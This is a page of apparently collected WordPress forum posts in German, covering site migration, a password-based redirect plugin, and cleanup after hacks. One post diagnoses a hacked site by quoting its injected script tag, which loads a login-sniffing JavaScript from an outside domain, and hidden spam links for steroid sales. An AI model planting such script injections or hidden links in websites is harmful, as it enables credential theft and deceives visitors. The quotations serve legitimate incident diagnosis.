Beiträge von b3317133

    Das Theme zu wechseln ist keine gute Idee auf einem Live Server.

    Erstelle einen Klon/Duplikat der gesamten Installation auf einem oder auch mehreren Testserver(n) und nimm Veränderungen oder Themewechsel oder Neuaufbau zunächst dort vor.

    Wenn es keinerlei Leute mit WordPress Erfahrung gibt, kontaktiere den ehem. Ersteller des Websites und lass Dir in Ruhe alles erklären. Oft gibt es die verschiedensten Gründe, warum etwas technisch so und nicht anders gelöst ist, die einem Anfänger aber nicht klar werden (können). Und gerade in Schulen sind dabei auch irgendwann getroffene Vereinbarungen mit irgendwelchen Arbeitsgruppen o.ä. zu beachten, was wo wie auf dem Website erscheinen soll.

    Tipp bei so grossen Datenmengen:

    Den Ordner /wp-content/uploads/ (oder ggf. auch nur einen Unterordner davon in dem sich die grössten Datenmengen befinden) beim Erstellen eines Migrationspakets ausnehmen (exclude) und nach erfolgtem Einspielen des Migrationspakets auf dem Zielserver dann diesen Ordner im Nachgang manuell per FTP umziehen.

    Hinterlegte Passwörter in einer PHP-Datei können von Dritten nicht eingesehen werden, man kann aber natürlich auch einen lokal erzeugten Hash oder auch Hash mit Salt u.ä. davon vergleichen. So sieht der o.g. Ansatz dann z.B. als Plugin aus:


    Zur Info: Die WordPress Passwörter bei "Sichtbarkeit" der Seiten sind unverschlüsselt in der Datenbank hinterlegt.

    Ein Ansatz mit einer von WordPress unter "Sichtbarkeit" mit irgendeinem beliebigen Passwort (damit das Eingabefeld erscheint) passwortgeschützten Seite und ein paar Zeilen Code:

    Code
    function b3317133_login_form_postpass() {
        switch ( $_POST['post_password'] ) {
        case 'passwort1':
            wp_redirect( 'https://example.com/kunde1/' ); exit;
        case 'passwort2':
            wp_redirect( 'https://example.com/kunde2/' ); exit;
        }
    }
    add_action( 'login_form_postpass', 'b3317133_login_form_postpass' );

    Jemand mit entsprechender WordPress Erfahrung kann selbstverständlich herausfinden, was sich wo eingenistet hat. Die Fähigkeit, Veränderungen gleichwelcher Art herausfinden zu können, wird jederzeit für jeden Website benötigt. Das ist eine elementare Grundlage.

    Oft werden für Hacks Lücken in Themes/Plugins genutzt, für die es keine ausstehenden Updates (mehr) gibt. Nur weil keine Updates angezeigt werden, heisst das nicht, dass man ein aktuelles und sicheres System betreibt, das ist ein weit verbreiteter Trugschluss. Daher ist eine eingehende Analyse nötig. Alles andere ist halbherzig und nicht seriös.

    Und natürlich ist die aktuelle Seite bei Bekanntwerden eines Hacks sofort abzuschalten:

    Erneutes Aufrufen oder Einloggen in die alte gehackte Seite darf dabei nicht mehr möglich sein.

    1. Am Wichtigsten wäre es, zunächst anhand der aktuell verseuchten Dateien, Datenbank und Server-Logs die für den/die Hack(s) genutzte(n) Lücke(n) zu ermitteln, damit das nicht wieder passiert.
    2. Danach kann man entweder zusammen mit jemandem mit WordPress Erfahrung, die über das Installieren von "Sicherheits-Plugins" und dem Anklicken von Updates hinaus geht, die aktuelle Installation bereinigen oder unter Berücksichtigung der Erkenntnisse aus 1., also dem Weglassen von Theme, Plugins, externe Einbindungen, wasauchimmer die Lücke war, die Seite mit einem frischen WordPress neu aufbauen und die alten Beiträge/Seiten manuell direkt aus der Datenbank auslesen und unter eingehender Prüfung der Inhalte in die neue Seite einpflegen. Erneutes Aufrufen oder Einloggen in die alte gehackte Seite darf dabei nicht mehr möglich sein.


    Siehe auch allgemeines Vorgehen bei einem Hack oben verlinkt.

    Die Seite ist aktuell gehackt. Ganz zu Beginn des HTML Quelltextes wird ein bösartiges JavaScript (Virustotal.com) eingebunden, das den Login belauscht und dann ggf. auch z.B. auf andere Seiten weiterleitet:

    HTML
    <script src='https://print.legendarytable.com/news.js?v=6.3.2' type='text/javascript'></script><!DOCTYPE html>
    <html dir="ltr" lang="de-DE"
        prefix="og: https://ogp.me/ns#" >
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="profile" href="http://gmpg.org/xfn/11">
    ...


    Ganz am Ende des HTML Quelltextes werden Spam Links eingefügt:

    Code
    ...
    <span style="display:block; font-size:0;height:0;">Charr vs. Oquendo canceled with deal unsigned <a href="http://uk-roids.com/" title="buy anabolic steroids uk online">buy anabolic steroids uk online</a> cash flow on steroids: why companies cheat
    </span></body>
    </html>


    Von weiterem Befall an anderen Stellen ist auszugehen.

    Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben, das könntest Du mit jemandem mit WordPress Erfahrung bei Dir im näheren Umfeld zusammen durchgehen.

    Dabei am Wichtigsten wäre, die für den Hack genutzte(n) Lücke(n) zu ermitteln, damit das nicht wieder passiert.

    Der Code würde wie gewünscht funktionieren, wenn man alle im o.g. Beispiel genannten Überprüfungen der Ergebnisse der API-Aufrufe auch prüfen würde und nur dann den Meta Tag ausgibt, wenn alles passt. Zudem siehe Hinweis zu 'large' oben.

    Mit welcher genauen URL testest Du Deinen Code? Schau den HTML-Quelltext der getesteten URL an, evtl. wird Dein Code wegen der Bedingungen is_single() bzw. is_page() gar nicht ausgegeben. Derzeit kann man Deinen Code nicht testen, er ist offenbar nicht aktiv.

    Bei meiner Recherche bin ich "nur" auf Plugins gestoßen die zwar den Redirect machen, allerdings innerhalb der URL weiterleiten, ..


    Auf welche Plugins genau? Evtl. kann man die anders einrichten? Oder damit als Workaround einen Order /ch/ anlegen und darin einen .htaccess Redirect zu .ch und umgekehrt. Oder generell eine .htaccess Weiche über den Accept-Language Header des Browsers. Es gibt viele Möglichkeiten.